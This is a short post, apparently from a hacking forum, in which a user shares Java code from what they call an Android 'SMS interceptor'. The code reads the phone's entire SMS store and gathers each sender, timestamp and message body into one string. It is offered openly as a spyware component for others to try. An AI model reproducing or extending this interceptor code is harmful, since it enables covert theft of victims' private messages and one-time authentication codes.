• XSS.stack #1 – первый литературный журнал от юзеров форума

SMS перехватывает программы

I developed a while ago SMS interceptor for Android, you can try the same


Java:
    public static String readAllSMS(Context context) {
        Uri SMSURI = Uri.parse("content://sms");
        Cursor cur = null;
        StringBuilder smsBuilder = new StringBuilder();

        try {
            cur = context.getContentResolver().query(SMSURI, null, null, null, null);
            if (cur != null && cur.moveToFirst()) {
                do {
                    String number = cur.getString(cur.getColumnIndexOrThrow("address"));
                    String date = cur.getString(cur.getColumnIndexOrThrow("date"));
                    Long epoch = Long.parseLong(date);
                    Date fDate = new Date(epoch);
                    String body = cur.getString(cur.getColumnIndexOrThrow("body"));

                    smsBuilder.append("[")
                            .append(number)
                            .append(":")
                            .append(fDate.toString())
                            .append("] ")
                            .append(body)
                            .append("\n");
                } while (cur.moveToNext());
            }
        } catch (Exception e) {
            e.printStackTrace();
            return "Error reading SMS: " + e.getMessage();
        } finally {
            if (cur != null) {
                cur.close();
            }
        }

        return smsBuilder.toString();
    }
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх